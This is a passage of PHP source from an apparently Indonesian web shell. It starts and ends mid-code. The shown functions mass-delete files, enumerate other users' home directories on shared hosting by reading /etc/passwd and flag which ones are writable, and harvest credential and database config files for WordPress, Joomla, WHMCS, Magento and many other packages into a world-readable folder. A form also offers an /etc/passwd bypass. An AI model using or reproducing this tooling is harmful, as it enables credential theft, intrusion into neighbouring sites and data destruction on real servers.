'.'){\r\n\t\t\t\t\tif(file_exists(\"\$dir/\$namafile\")){\r\n\t\t\t\t\t\tunlink(\"\$dir/\$namafile\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}elseif(\$dirb === '..'){\r\n\t\t\t\t\tif(file_exists(\"\".dirname(\$dir).\"/\$namafile\")){\r\n\t\t\t\t\t\tunlink(\"\".dirname(\$dir).\"/\$namafile\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}else{\r\n\t\t\t\t\tif(is_dir(\$dirc)){\r\n\t\t\t\t\t\tif(is_writable(\$dirc)){\r\n\t\t\t\t\t\t\tif(\$lokasi){\r\n\t\t\t\t\t\t\t\techo \"\$lokasi > Terhapus\\n\";\r\n\t\t\t\t\t\t\t\tunlink(\$lokasi);\r\n\t\t\t\t\t\t\t\t\$massdel = hapus_massal(\$dirc,\$namafile);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(\$_POST['start']){\r\n\t\techo \"[ <a href='?dir=\$dir'>Kembali</a> ]\r\n\t\t<textarea class='form-control' rows='13' disabled=''>\";\r\n\t\t\thapus_massal(\$_POST['d_dir'], \$_POST['d_file']);\r\n\t\techo \"</textarea><br/>\";\r\n\t}else{\r\n\t\techo \"<form method='post'>\r\n\t\t\t<h5>\$imgfol Location :</h5>\r\n\t\t\t<input type='text' name='d_dir' value='\$dir' class='form-control'><br/>\r\n\t\t\t<h5>\$imgfile Name File :</h5>\r\n\t\t\t<input type='text' name='d_file' placeholder='Put the File to Delete' class='form-control'><br/>\r\n\t\t\t<input type='submit' name='start' value='Submit' class='btn btn-danger form-control'>\r\n\t</form>\";\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiJump(\$dir,\$file,\$ip){\r\n\t\$i = 0;\r\n\techo \"<div class='card container'>\";\r\n\tif(preg_match(\"/hsphere/\", \$dir)){\r\n\t\t\$urls = explode(\"\\r\\n\", \$_POST['url']);\r\n\t\tif(isset(\$_POST['jump'])){\r\n\t\t\techo \"<pre>\";\r\n\t\t\tforeach(\$urls as \$url){\r\n\t\t\t\t\$url = str_replace(array(\"http://\",\"www.\"), \"\", strtolower(\$url));\r\n\t\t\t\t\$etc = \"/etc/passwd\";\r\n\t\t\t\t\$f = fopen(\$etc,\"r\");\r\n\t\t\t\twhile(\$gets = fgets(\$f)){\r\n\t\t\t\t\t\$pecah = explode(\":\", \$gets);\r\n\t\t\t\t\t\$user = \$pecah[0];\r\n\t\t\t\t\t\$dir_user = \"/hsphere/local/home/\$user\";\r\n\t\t\t\t\tif(is_dir(\$dir_user) === true){\r\n\t\t\t\t\t\t\$url_user = \$dir_user.\"/\".\$url;\r\n\t\t\t\t\t\tif(is_readable(\$url_user)){\r\n\t\t\t\t\t\t\t\$i++;\r\n\t\t\t\t\t\t\t\$jrw = \"[<font color=green>R</font>] <a href='?dir=\$url_user'><font color=#0046FF>\$url_user</font></a>\";\r\n\t\t\t\t\t\t\tif(is_writable(\$url_user)){\r\n\t\t\t\t\t\t\t\t\$jrw = \"[<font color=green>RW</font>] <a href='?dir=\$url_user'><font color=#0046FF>\$url_user</font></a>\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \$jrw.\"<br>\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!\$i == 0){ \r\n\t\t\t\techo \"<br>Total ada \$i KAMAR di \$ip\";\r\n\t\t\t}\r\n\t\t\techo \"</pre>\";\r\n\t\t}else{\r\n\t\t\techo '<center><form method=\"post\">\r\n\t\t\t\tList Domains: <br>\r\n\t\t\t\t<textarea name=\"url\" class=\"form-control\">';\r\n\t\t\t\t\$fp = fopen(\"/hsphere/local/config/httpd/sites/sites.txt\",\"r\");\r\n\t\t\t\twhile(\$getss = fgets(\$fp)){\r\n\t\t\t\t\techo \$getss;\r\n\t\t\t\t}\r\n\t\t\t\techo '</textarea><br>\r\n\t\t\t\t\t <input type=\"submit\" value=\"Jumping\" name=\"jump\" class=\"btn btn-danger btn-block\">\r\n\t\t\t</form></center>';\r\n\t\t}\r\n\t}elseif(preg_match(\"/vhosts/\", \$dir)){\r\n\t\t\$urls = explode(\"\\r\\n\", \$_POST['url']);\r\n\t\tif(isset(\$_POST['jump'])){\r\n\t\t\techo \"<pre>\";\r\n\t\t\tforeach(\$urls as \$url){\r\n\t\t\t\t\$web_vh = \"/var/www/vhosts/\$url/httpdocs\";\r\n\t\t\t\tif(is_dir(\$web_vh) === true){\r\n\t\t\t\t\tif(is_readable(\$web_vh)){\r\n\t\t\t\t\t\t\$i++;\r\n\t\t\t\t\t\t\$jrw = \"[<font color=green>R</font>] <a href='?dir=\$web_vh'><font color=#0046FF>\$web_vh</font></a>\";\r\n\t\t\t\t\t\tif(is_writable(\$web_vh)){\r\n\t\t\t\t\t\t\t\$jrw = \"[<font color=green>RW</font>] <a href='?dir=\$web_vh'><font color=#0046FF>\$web_vh</font></a>\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo \$jrw.\"<br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!\$i == 0){\r\n\t\t\t\techo \"<br>Total ada \$i Kamar Di \$ip\";\r\n\t\t\t}\r\n\t\t\techo \"</pre>\";\r\n\t\t}else{\r\n\t\t\techo '<center><form method=\"post\">\r\n\t\t\t\tList Domains: <br>\r\n\t\t\t\t<textarea name=\"url\" class=\"form-control\">';\r\n\t\t\t\tbing(\"ip:\$ip\");\r\n\t\t\t\techo '</textarea><br>\r\n\t\t\t\t<input type=\"submit\" value=\"Jumping\" name=\"jump\" class=\"btn btn-danger btn-block\">\r\n\t\t\t</form></center>';\r\n\t\t}\r\n\t}else{\r\n\t\techo \"<pre>\";\r\n\t\t\$etc = fopen(\"/etc/passwd\", \"r\") or die(\"<font color=red>Can't read /etc/passwd</font><br/>\");\r\n\t\twhile(\$passwd = fgets(\$etc)){\r\n\t\t\tif(\$passwd == '' || !\$etc){\r\n\t\t\techo \"<font color=red>Can't read /etc/passwd</font><br/>\";\r\n\t\t\t}else{\r\n\t\t\t\tpreg_match_all('/(.*?):x:/', \$passwd, \$user_jumping);\r\n\t\t\t\tforeach(\$user_jumping[1] as \$user_pro_jump){\r\n\t\t\t\t\t\$user_jumping_dir = \"/home/\$user_pro_jump/public_html\";\r\n\t\t\t\t\tif(is_readable(\$user_jumping_dir)){\r\n\t\t\t\t\t\t\$i++;\r\n\t\t\t\t\t\t\$jrw = \"[<font color=green>R</font>] <a href='?dir=\$user_jumping_dir'><font color=#0046FF>\$user_jumping_dir</font></a>\";\r\n\t\t\t\t\t\tif(is_writable(\$user_jumping_dir)){\r\n\t\t\t\t\t\t\t\$jrw = \"[<font color=green>RW</font>] <a href='?dir=\$user_jumping_dir'><font color=#0046FF>\$user_jumping_dir</font></a>\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo \$jrw;\r\n\t\t\t\t\t\tif(function_exists('posix_getpwuid')){\r\n\t\t\t\t\t\t\t\$domain_jump = file_get_contents(\"/etc/named.conf\");\r\n\t\t\t\t\t\t\tif(\$domain_jump == ''){\r\n\t\t\t\t\t\t\t\techo \" => ( <font color=red>gabisa ambil nama domain nya</font> )<br>\";\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\tpreg_match_all(\"#/var/named/(.*?).db#\", \$domain_jump, \$domains_jump);\r\n\t\t\t\t\t\t\t\tforeach(\$domains_jump[1] as \$dj){\r\n\t\t\t\t\t\t\t\t\t\$user_jumping_url = posix_getpwuid(@fileowner(\"/etc/valiases/\$dj\"));\r\n\t\t\t\t\t\t\t\t\t\$user_jumping_url = \$user_jumping_url['name'];\r\n\t\t\t\t\t\t\t\t\tif(\$user_jumping_url == \$user_pro_jump){\r\n\t\t\t\t\t\t\t\t\t\techo \" => ( <u>\$dj</u> )<br>\";\r\n\t\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\techo \"<br>\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!\$i == 0){\r\n\t\t\techo \"<br>Total ada \$i kamar di \$ip\";\r\n\t\t}\r\n\t\techo \"</pre>\";\r\n\t}\r\n\techo \"</div><br/>\";\r\n\texit;\r\n}\r\nfunction aksiConfig(\$dir,\$file){\r\n\tif(\$_POST){\r\n\t\t\$passwd = \$_POST['passwd'];\r\n\t\tmkdir(\"angkol_config\", 0777);\r\n\t\t\$isi_htc = \"Options allnRequire NonenSatisfy Any\";\r\n\t\t\$htc = fopen(\"angkol_config/.htaccess\",\"w\");\r\n\t\tfwrite(\$htc, \$isi_htc);\r\n\t\tpreg_match_all('/(.*?):x:/', \$passwd, \$user_config);\r\n\t\tforeach(\$user_config[1] as \$user_con){\r\n\t\t\t\$user_config_dir = \"/home/\$user_con/public_html/\";\r\n\t\t\tif(is_readable(\$user_config_dir)){\r\n\t\t\t\t\$grab_config = array(\r\n\t\t\t\t\t\"/home/\$user_con/.my.cnf\" => \"cpanel\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/config/koneksi.php\" => \"Lokomedia\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/forum/config.php\" => \"phpBB\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/sites/default/settings.php\" => \"Drupal\",\r\n\t\t\t\t\t\t\"/home/\$user_con/public_html/config/settings.inc.php\" => \"PrestaShop\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/app/etc/local.xml\" => \"Magento\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/admin/config.php\" => \"OpenCart\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/application/config/database.php\" => \"Ellislab\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/vb/includes/config.php\" => \"Vbulletin\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/includes/config.php\" => \"Vbulletin\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/forum/includes/config.php\" => \"Vbulletin\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/forums/includes/config.php\" => \"Vbulletin\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cc/includes/config.php\" => \"Vbulletin\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/inc/config.php\" => \"MyBB\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/includes/configure.php\" => \"OsCommerce\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/shop/includes/configure.php\" => \"OsCommerce\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/os/includes/configure.php\" => \"OsCommerce\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/oscom/includes/configure.php\" => \"OsCommerce\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/products/includes/configure.php\" => \"OsCommerce\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cart/includes/configure.php\" => \"OsCommerce\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/inc/conf_global.php\" => \"IPB\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/wp/test/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/blog/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/beta/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/portal/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/site/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/wp/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/WP/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/news/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/wordpress/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/test/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/demo/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/home/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/v1/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/v2/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/press/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/new/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/blogs/wp-config.php\" => \"Wordpress\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/blog/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/submitticket.php\" => \"^WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cms/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/beta/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/portal/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/site/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/main/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/home/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/demo/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/test/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/v1/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/v2/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/joomla/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/new/configuration.php\" => \"Joomla\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/WHMCS/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/whmcs1/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Whmcs/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/whmcs/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/whmcs/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/WHMC/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Whmc/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/whmc/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/WHM/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Whm/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/whm/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/HOST/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Host/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/host/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/SUPPORTES/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Supportes/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/supportes/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/domains/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/domain/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Hosting/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/HOSTING/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/hosting/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/CART/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Cart/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cart/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/ORDER/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Order/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/order/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/CLIENT/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Client/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/client/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/CLIENTAREA/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Clientarea/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clientarea/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/SUPPORT/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Support/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/support/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/BILLING/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Billing/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/billing/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/BUY/sumitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Buy/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/buy/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/MANAGE/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Manage/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/manage/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/CLIENTSUPPORT/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/ClientSupport/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Clientsupport/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clientsupport/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/CHECKOUT/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Checkout/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/checkout/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/BILLINGS/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Billings/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/billings/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/BASKET/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Basket/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/basket/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/SECURE/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Secure/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/secure/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/SALES/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Sales/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/sales/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/BILL/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Bill/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/bill/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/PURCHASE/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Purchase/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/purchase/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/ACCOUNT/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Account/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/account/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/USER/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/User/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/user/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/CLIENTS/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Clients/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clients/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/BILLINGS/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Billings/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/billings/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/MY/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/My/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/my/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/secure/whm/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/secure/whmcs/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/panel/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clientes/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cliente/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/support/order/submitticket.php\" => \"WHMCS\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/boxbilling/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/box/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/host/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Host/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/supportes/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/support/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/hosting/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cart/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/order/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/client/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clients/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cliente/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clientes/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/billing/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/billings/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/my/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/secure/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/support/order/bb-config.php\" => \"BoxBilling\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/includes/dist-configure.php\" => \"Zencart\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/zencart/includes/dist-configure.php\" => \"Zencart\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/products/includes/dist-configure.php\" => \"Zencart\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cart/includes/dist-configure.php\" => \"Zencart\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/shop/includes/dist-configure.php\" => \"Zencart\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/hostbills/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/host/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/Host/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/supportes/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/support/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/hosting/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cart/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/order/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/client/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clients/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/cliente/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/clientes/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/billing/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/billings/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/my/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/secure/includes/iso4217.php\" => \"Hostbills\",\r\n\t\t\t\t\t\"/home/\$user_con/public_html/support/order/includes/iso4217.php\" => \"Hostbills\"\r\n\t\t\t\t);\t\r\n\t\t\t\tforeach(\$grab_config as \$config => \$nama_config){\r\n\t\t\t\t\t\$ambil_config = file_get_contents(\$config);\r\n\t\t\t\t\tif(\$ambil_config == ''){\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\$file_config = fopen(\"angkol_config/\$user_con-\$nama_config.txt\",\"w\");\r\n\t\t\t\t\t\tfputs(\$file_config,\$ambil_config);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\t\t\r\n\t\t}\r\n\t\techo \"<p class='text-center'>Success</p>\r\n\t\t<a href='?dir=\$dir/anonprixor_config' class='btn btn-Success btn-block mb-4'>Click Here</a>\";\r\n\t}else{\r\n\t\techo \"<form method='post'>\r\n\t\t\t<p class='text-danger'>/etc/passwd Error ? <a href='?dir=\$dir&aksi=passwbypass'>Bypass Here</a></p>\r\n\t\t\t<textarea name='passwd' class='form-control' rows='13'>\".file_get_contents('/etc/passwd').\"</textarea><br/>\r\n\t\t\t<input type='submit' class='btn btn-danger btn-block' value='Get Auto Config'>\r\n\t\t</form>\";\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiBypasswd(\$dir,\$file){\r\n\techo '<div claas=\"container\">\r\n\t\t<form method=\"POST\">\r\n\t\t\t<p class=\"text-center\">Bypass etc/passwd With :</p>\r\n\t\t\t<div class=\"d-flex justify-content-center flex-wrap\">\r\n\t\t\t\t<input 